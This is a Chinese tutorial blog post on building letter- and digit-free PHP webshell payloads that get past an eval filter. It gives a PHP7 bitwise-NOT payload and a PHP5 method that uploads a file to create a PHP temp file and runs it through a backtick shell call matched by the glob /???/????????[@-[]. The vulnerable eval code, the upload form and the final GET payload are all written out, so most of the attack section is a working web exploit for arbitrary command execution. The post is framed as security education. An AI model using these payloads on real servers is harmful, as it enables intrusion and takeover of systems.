php5构造无字母数字的webshell实现任意命令执行

这篇具有很好参考价值的文章主要介绍了php5构造无字母数字的webshell实现任意命令执行。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

引言

如果是在php7

如果是在php5

现在我们来上传文件

最后的结果:


看本篇前可以先看这一篇:利用异或、取反、自增bypass_webshell_waf-CSDN博客

引言

上一篇介绍了如何构造出一个无字母数字的webshell,但是如果后端的代码变成了这样:

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

这里过滤了大小写字母、数字、_、$,因此我们上一篇介绍的利用$和_的方式都无法实现了,那么应该怎么构造webshell呢?

如果是在php7

php7中这个问题并不是很难解决,PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。

所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。

因为有大小写字母的限制,我们首先需要将phpinfo这个字符串转换为URL编码:

<?php
$a = "phpinfo";
echo urlencode(~$a);

生成无字母shell脚本,PHP,安全,java,前端,linux,chrome,运维,web安全,安全 

那么就可以构造一个如此的payload了:

(~%8F%97%8F%96%91%99%90)();

如果是在php5

此时,如果我们尝试用PHP7的payload,将会得到一个错误:

原因就是php5并不支持这种表达方式。

那么这个问题现在呢应该怎么解决呢?

操作系统里包含的最重要的两个功能就是“shell(系统命令)”“文件系统”,很多木马与远控其实也只实现了这两个功能。

PHP自然也能够和操作系统进行交互,“反引号”就是PHP中最简单的执行shell的方法。

那么,在使用PHP无法解决问题的情况下,为何不考虑用“反引号”+“shell”的方式来getshell呢?

因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

好像问题又回到了原点:无字母、数字、$,在shell中仍然是一个难题。

此时还有两个有趣的Linux shell知识点需要理解:

1、shell下可以利用. 来执行任意脚本

它的作用和source一样,就是用当前的shell执行一个文件中的命令。

比如:当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

可以尝试编辑这样一个文件:

vim id.txt 

echo id

然后使用.来执行一下

. id.txt 
id

 可以看到确实是执行了

. file执行文件,是不需要file有x权限的。

那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

2、Linux文件名支持用glob通配符代替

执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符

  • ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,却得到如下错误:

生成无字母shell脚本,PHP,安全,java,前端,linux,chrome,运维,web安全,安全

这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:

生成无字母shell脚本,PHP,安全,java,前端,linux,chrome,运维,web安全,安全

先不看有这么多的文件,就在执行第一个匹配上的文件(即/bin/abrt-cli)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

我们再来看看之前列出可能干扰我们的文件,发现所有文件名都是小写,只有PHP生成的临时文件包含大写字母。

那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间:

生成无字母shell脚本,PHP,安全,java,前端,linux,chrome,运维,web安全,安全

那么,我们可以利用[@-[]来表示大写字母:

. /???/????????[@-[]

现在我们来上传文件

web.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <form action="web1.php" method="post" enctype="multipart/form-data">
        <input type="file" name="upload_file" id="">
        <input type="submit" value="submit">
    </form>
</body>

</html>

生成无字母shell脚本,PHP,安全,java,前端,linux,chrome,运维,web安全,安全 

web.php

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

web1.php

这是是用来显示文件的上传信息的

<?php var_dump($_FILES);

注意,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

首先我们编写一个文件来用作测试:

生成无字母shell脚本,PHP,安全,java,前端,linux,chrome,运维,web安全,安全

现在我们可以尝试在上传文件后进行抓包:

web1.php包:

生成无字母shell脚本,PHP,安全,java,前端,linux,chrome,运维,web安全,安全

web.php包:

生成无字母shell脚本,PHP,安全,java,前端,linux,chrome,运维,web安全,安全

然后我们将web1.php包中post的值移动到web.php文件中,构造出一个上传文件

还有将Content-Type: multipart/form-data;增加到web.php包中

现在我们就可以在这里使用POST构造出临时文件,使用GET匹配临时文件

生成无字母shell脚本,PHP,安全,java,前端,linux,chrome,运维,web安全,安全

GE传入的T参数:

?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f%[%40-[]`%3b

最后的结果:

生成无字母shell脚本,PHP,安全,java,前端,linux,chrome,运维,web安全,安全文章来源地址https://www.toymoban.com/news/detail-767074.html

到了这里,关于php5构造无字母数字的webshell实现任意命令执行的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 从php5.6到golang1.19-文库App性能跃迁之路

    作者 | 百度文库App 导读 本文深入浅出地分享了百度文库App服务端技术栈从PHP迁移至Go的实战经验,包含了技术选型、基础建设、流量迁移的具体方案,以及核心项目案例的重构实践。 全文6209字,预计阅读时间16分钟。 长期以来,百度文库App服务端采用 PHP 作为主要开发语言

    2024年02月12日
    浏览(28)
  • selenium实现输入数字字母验证码

    1. 登录url 2. 获取验证码坐标 3. 根据桌标截图验证码 4. 对验证码进行识别 5. 自动输入验证码

    2024年02月07日
    浏览(31)
  • php5.0到5.6的新特性,开发时应注意版本的兼容性

    php5.0 使用了Zend 2 引擎。 增加完善的面向对象模型 增加了新,包括this,try,catch,public,private,protected等 改变strrpos() 和 strripos()使用整个字符串作为 needle。 改变array_merge() 只接受数组 改变非法使用字符串偏移量会导致 E_ERROR 而不是 E_WARNING 改变get_class(),get_parent_class()和get

    2024年01月25日
    浏览(33)
  • DedeCMS不支持PHP5.3、5.4及以上版本后台500错误白屏的解决方法

    今天把系统换成了windows server 2008 r2 同时将PHP环境提升至PHP5.5版本,测试PHPinfo的时候一点问题都没有,但是登陆dede后台却显示500错误,这应该怎么解决呢?百度了一下发现dede不支持PHP5.3、PHP5.4及以上版本了,主要原为是php5.4的版本废除了session_register函数 可以采用如$_SESSIO

    2023年04月21日
    浏览(33)
  • dedecms文章关键字(自动内链)php5.5以上版本urf-8失效的解决方法

    找到 include/arc.archives.class.php 在里面需要修改两次地方 在1230行 改成 只需要把 PHP_VERSION, \\\'5.5.0\\\', \\\'=\\\' 里面的第一个 5改成7 就ok了还有1250行也是一样的。 以上就是dedecms文章(自动内链)php5.5以上urf-8版本失效的解决方法的详细内容,更多关于dedecms文章内链失效问题的

    2024年02月03日
    浏览(32)
  • Webshell免杀-PHP

            在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限。然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全设备拦截,因此对webshell文件进行免杀操作是不可或缺的。本处仅对

    2023年04月25日
    浏览(47)
  • 不含数字的webshell绕过

    1.首先我们得了解一下异或操作的原理 在php中,异或操作是两个二进制数相同时,异或(相同)为0,不同为1 举个例子 A的ASCII值是65,对应的二进制值是0100 0001 `的ASCII值是96,对应的二进制值是 0110 0000 上下一一对应(相同)为0,不同为1,异或的二进制的值是00100001,对应的ASCI

    2024年02月12日
    浏览(20)
  • php_webshell免杀--从0改造你的AntSword

    为什么会有改造蚁剑的想法,之前看到有做冰蝎的流量加密,来看到绕过waf,改造一些弱特征,通过流量转换,跳过密钥交互。 但是,冰蝎需要反编译去改造源码,再进行修复bug,也比较复杂。而AntSword相对于冰蝎来说,不限制webshell,即一句话也可以进行连接,还可以自定

    2024年02月11日
    浏览(31)
  • 免费简单好用的 webshell 在线检测:支持 php、jsp、asp等多格式文件

    话不多说,直接上图上链接:https://rivers.chaitin.cn/?share=3d4f2e8aaec211eea5550242c0a8170c 还是比较好用的,支持 PHP、JSP 文件 webshell 检测,看官方解释文档,引擎使用静态文本特征、骨架哈希、静态语义分析、动态污点追踪、动态插桩内存等检测技术,听起来比较高级。 也提供 API 接

    2024年02月02日
    浏览(40)
  • PHP 对PDF文件实现数字签名

    PHP通过TCPDF库对生成的PDF文件进行数字签名。 效果如下: 这个是因为签名证书不在可信任证书列表中。 目录 准备数字证书 1.申请数字证书 2.自签名证书 安装TCPDF 证书签名 设置证书路径 设置证书信息 设置文档签名 设置签名外观 图像签名外观 空签名外观 完整代码 总结 可以

    2024年02月11日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包